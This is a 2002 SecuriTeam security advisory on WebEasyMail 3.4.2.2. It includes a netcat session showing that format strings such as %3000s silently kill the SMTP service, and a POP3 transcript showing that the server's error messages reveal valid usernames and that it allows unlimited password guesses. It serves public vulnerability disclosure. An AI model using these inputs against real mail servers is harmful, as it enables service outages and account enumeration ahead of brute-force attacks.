[NT] WebEasyMail Multiple Security Vulnerabilities (User disclosure, DoS)

From: support@securiteam.com
Date: 08/21/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 21 Aug 2002 14:38:20 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  WebEasyMail Multiple Security Vulnerabilities (User disclosure, DoS)
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SUMMARY

 <http://www.winwebmail.com/> WebEasyMail is an all-in-one web mail server
based on the Windows platform, suitable for medium-sized or small websites
as well as enterprises. Multiple security vulnerabilities have been found
in the product, they allow to cause a remote denial of service attack, and
to reveal which username are valid on the remote host.

DETAILS

Vulnerable systems:
 * WebEasyMail version 3.4.2.2 and prior

Problem #1:
The problem appears to lie in the SMTP portion of WebEasyMail. When you
send specially crafted format strings such as the printf family of
functions use, it is possible to cause the service process to exit. While
no crash dialog appears, the service is terminated without an error
message or such, and nothing appears in the logs.

As an example:
$ nc localhost 25
220 ESMTP on WebEasyMail [3.4.2.2] ready. http://www.winwebmail.com
%2
502 Error: command not implemented
%2s
502 Error: command not implemented
%100s
502 Error: command not implemented
%3000s
[emsrv.exe silently dies here]
$

The fact that it silently exits may be an indication of internal error
handling.

Problem #2:
WebEasyMail's POP3 server appears to be very weak in the
prevent-brute-force attacks department. First off, it allows for the
discovery of valid usernames by bugs in its output, for example:

OK POP3 on WebEasyMail [3.4.2.2] ready. http://www.winwebmail.com
user dog
+OK user accepted
pass dog
-ERR invalid username
user test
+OK user accepted
pass dog
-ERR wrong password for this user

Notice that when the wrong password is given, the server responds with
"-ERR invalid username" if the user does not exist, and "-ERR wrong
password for this user" if the user does indeed exist. Furthermore, it
seems to allow an unlimited number of guesses of usernames and passwords
without disconnecting the remote connection. This coupled with the above
makes brute force attacks much easier.

Vendor Status:
Stan sent a message to the vendor of WebEasyMail (support@winwebmail.com)
twice, first on August 2, 2002 and August 8, 2002 but received no
response. Because of the lack of response or even acknowledgement that
Stan's messages were received, this advisory has been released.

ADDITIONAL INFORMATION

The information has been provided by <mailto:stan@ccs.neu.edu> Stan
Bubrouski.

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